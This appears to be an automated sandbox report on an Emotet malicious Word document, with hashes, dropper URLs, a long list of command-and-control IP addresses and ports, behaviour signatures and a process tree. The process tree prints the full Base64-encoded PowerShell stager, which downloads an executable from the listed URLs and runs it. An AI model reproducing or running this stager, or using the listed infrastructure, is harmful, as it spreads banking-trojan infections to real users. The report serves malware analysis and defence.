emotet | e1b4a7216528baa92a1ad5e6467852fdef6c02325d68e679e08cfbfbd2ab7e2f

Analysis

max time kernel
135s
max time network
151s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 12:56

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General

Target
emotet_e3_e1b4a7216528baa92a1ad5e6467852fdef6c02325d68e679e08cfbfbd2ab7e2f_2020-08-19__125513._doc.doc
Size 200KB
Sample200819-35ntlpve8s
SHA256 e1b4a7216528baa92a1ad5e6467852fdef6c02325d68e679e08cfbfbd2ab7e2f
MD5 3bbee59fb2e9baf62c074593e4ada0f7
SHA1 ee4406fc9c5260af1b88ddf1c66f5b68a5078a40
SHA512 4c40731d7bf5b80b61ce2d7a077f9f4a588380cb6ef7ac71a2c9ac9e47809e969042fe34693446f38530d945924d044d88fd108a6838b3bd145839f77c5c75c9
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://givingthanksdaily.com/cgi-bin/UUZ/
exe.dropper
http://taliedaran.ir/wp-admin/xoflMkAX/
exe.dropper
https://ceramicaburguina.com.br/Backup_Sistemas/VJFrtw/
exe.dropper
http://bercpro.be/cgi-bin/TMFfK/
exe.dropper
https://www.iqos-heets.com/wp-content/uploads/kOgjl/
exe.dropper
https://technilab.nl/wp-content/zSv/
exe.dropper
https://andmak.pl/strona/DczUjFV/

Extracted

Family

emotet

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1840	64	powersheLL.exe	68

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/872-14-0x0000000002740000-0x000000000274C000-memory.dmp	emotet
behavioral2/memory/872-14-0x0000000002740000-0x000000000274C000-memory.dmp	emotet
behavioral2/memory/1688-17-0x0000000000840000-0x000000000084C000-memory.dmp	emotet
behavioral2/memory/1688-17-0x0000000000840000-0x000000000084C000-memory.dmp	emotet
behavioral2/memory/872-21-0x0000000000000000-mapping.dmp	emotet

ServiceHost packer 1 IoCs

Detects ServiceHost packer used for .NET malware

resource	yara_rule
behavioral2/memory/872-21-0x0000000000000000-mapping.dmp	servicehost

Blacklisted process makes network request 2 IoCs

flow	pid	Process
14	1840	powersheLL.exe
16	1840	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
872	Us6tez.exe
1688	azroleui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\svchost\azroleui.exe	Us6tez.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2084	872	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1536	WINWORD.EXE
1536	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1840	powersheLL.exe
1840	powersheLL.exe
1840	powersheLL.exe
1688	azroleui.exe
1688	azroleui.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
1688	azroleui.exe
1688	azroleui.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1840	powersheLL.exe
Token: SeRestorePrivilege	2084	WerFault.exe
Token: SeBackupPrivilege	2084	WerFault.exe
Token: SeDebugPrivilege	2084	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
872	Us6tez.exe
872	Us6tez.exe
1688	azroleui.exe
1688	azroleui.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 872	1840	powersheLL.exe	75
PID 1840 wrote to memory of 872	1840	powersheLL.exe	75
PID 1840 wrote to memory of 872	1840	powersheLL.exe	75
PID 872 wrote to memory of 1688	872	Us6tez.exe	76
PID 872 wrote to memory of 1688	872	Us6tez.exe	76
PID 872 wrote to memory of 1688	872	Us6tez.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e1b4a7216528baa92a1ad5e6467852fdef6c02325d68e679e08cfbfbd2ab7e2f_2020-08-19__125513._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1536

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTAF8AMQBsAHcAOABmAD0AKAAnAEkANQAwACcAKwAnADgANAAnACsAJwBwADAAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBQAFwAbwBmAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAdQByAEkAVABZAFAAYABSAG8AYABUAG8AYwBgAE8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxADIAJwArACcALAAgAHQAbABzADEAMQAnACsAJwAsACAAdABsACcAKwAnAHMAJwApADsAJABUAHUAMAA0AGgAeABpACAAPQAgACgAJwBVAHMAJwArACcANgB0AGUAegAnACkAOwAkAEoAbgA2AGsAMwBpAHMAPQAoACcAQwB2ACcAKwAnADkAbAAnACsAJwAxAHMAdAAnACkAOwAkAEMAcgA1AGoAdQBnAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAFoAbgBnAE8AZgBmAGkAYwAnACsAJwBlADIAMAAnACsAJwAxADkAWgBuAGcAJwApACAALQBjAFIARQBQAGwAYQBjAEUAJwBaAG4AZwAnACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFQAdQAwADQAaAB4AGkAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEUAbQB3ADkAMgBoAG0APQAoACcASQB3ADQAJwArACcAYQB6ADMAegAnACkAOwAkAEoAdwA3ADkAYQA5ADkAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBMAGkARQBOAHQAOwAkAE4AdwA4AGIAbABnAGwAPQAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnAGkAdgBpAG4AZwB0ACcAKwAnAGgAJwArACcAYQBuAGsAcwBkAGEAaQAnACsAJwBsAHkALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgBpAG4AJwArACcALwAnACsAJwBVAFUAWgAnACsAJwAvACoAJwArACcAaAB0AHQAcAA6AC8AJwArACcALwB0AGEAbABpACcAKwAnAGUAZABhAHIAYQAnACsAJwBuAC4AaQByAC8AdwBwAC0AJwArACcAYQBkAG0AaQBuAC8AeAAnACsAJwBvAGYAbABNAGsAQQBYACcAKwAnAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AJwArACcAYwBlAHIAYQBtAGkAYwBhACcAKwAnAGIAdQByAGcAdQAnACsAJwBpAG4AYQAuACcAKwAnAGMAbwBtACcAKwAnAC4AYgByACcAKwAnAC8AQgBhACcAKwAnAGMAawB1AHAAXwBTAGkAJwArACcAcwB0ACcAKwAnAGUAJwArACcAbQBhACcAKwAnAHMAJwArACcALwAnACsAJwBWAEoARgByAHQAdwAvACoAaAB0AHQAJwArACcAcAAnACsAJwA6ACcAKwAnAC8ALwBiACcAKwAnAGUAcgBjAHAAcgBvAC4AJwArACcAYgAnACsAJwBlAC8AYwBnACcAKwAnAGkALQAnACsAJwBiAGkAbgAvAFQATQAnACsAJwBGACcAKwAnAGYASwAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAvAHcAdwB3AC4AaQBxACcAKwAnAG8AcwAtAGgAJwArACcAZQBlAHQAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvAG4AJwArACcAdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBrAE8AJwArACcAZwBqAGwALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGUAYwBoAG4AaQBsAGEAJwArACcAYgAuAG4AbAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AFMAdgAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAvAGEAbgAnACsAJwBkAG0AJwArACcAYQBrAC4AcABsACcAKwAnAC8AcwAnACsAJwB0AHIAbwBuAGEALwBEAGMAJwArACcAegBVAGoARgBWAC8AJwApAC4AIgBzAFAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAXwBuADkAMwB3AG8APQAoACcAVQAnACsAJwBiACcAKwAnADcAbQA3AGUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTADQAeQBiAHoAaQA1ACAAaQBuACAAJABOAHcAOABiAGwAZwBsACkAewB0AHIAeQB7ACQASgB3ADcAOQBhADkAOQAuACIAZABvAFcAbgBMAGAAbwBBAGQAZgBgAGkAbABFACIAKAAkAFMANAB5AGIAegBpADUALAAgACQAQwByADUAagB1AGcAaQApADsAJABHADMAegBoAHMAMgBqAD0AKAAnAEIAdgAwAGcAcQAnACsAJwBzAGQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAEMAcgA1AGoAdQBnAGkAKQAuACIAbABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAyADYAMQA3ADYAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAQwByADUAagB1AGcAaQApADsAJABIAGoAMQBmAHYAXwB1AD0AKAAnAFEAZQAxAG0AYQAnACsAJwBuAGgAJwApADsAYgByAGUAYQBrADsAJABEADMAOQBkAHMAZgBsAD0AKAAnAEYANwAnACsAJwBnAHkAaQB0ACcAKwAnAGwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHEAdgA2AHQAcwB5AD0AKAAnAEQAagA2AHcAJwArACcAdQA0ACcAKwAnAGIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Users\Admin\AppData\Local\Temp\Office2019\Us6tez.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Us6tez.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\SysWOW64\svchost\azroleui.exe
    "C:\Windows\SysWOW64\svchost\azroleui.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1688
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 872 -s 1068
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/872-14-0x0000000002740000-0x000000000274C000-memory.dmp

Download

memory/1536-3-0x0000023A169C0000-0x0000023A169C9000-memory.dmp

Download

memory/1536-7-0x0000023A16AEE000-0x0000023A16AF4000-memory.dmp

Download

memory/1536-6-0x0000023A16AF4000-0x0000023A16B00000-memory.dmp

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memory/1536-5-0x0000023A169C0000-0x0000023A169C9000-memory.dmp

Download

memory/1536-0-0x00007FFEA88C0000-0x00007FFEA8F86000-memory.dmp

Download

memory/1536-4-0x0000023A169C0000-0x0000023A169C9000-memory.dmp

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memory/1536-1-0x0000023A16826000-0x0000023A1682F000-memory.dmp

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memory/1536-2-0x0000023A169C0000-0x0000023A169C9000-memory.dmp

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memory/1688-17-0x0000000000840000-0x000000000084C000-memory.dmp

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memory/1840-10-0x000001AED36B0000-0x000001AED36B1000-memory.dmp

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memory/1840-9-0x000001AED33B0000-0x000001AED33B1000-memory.dmp

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memory/1840-8-0x00007FFEA07F0000-0x00007FFEA11DC000-memory.dmp

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memory/2084-18-0x0000000004F00000-0x0000000004F01000-memory.dmp

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memory/2084-19-0x0000000004F00000-0x0000000004F01000-memory.dmp

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memory/2084-23-0x00000000057B0000-0x00000000057B1000-memory.dmp

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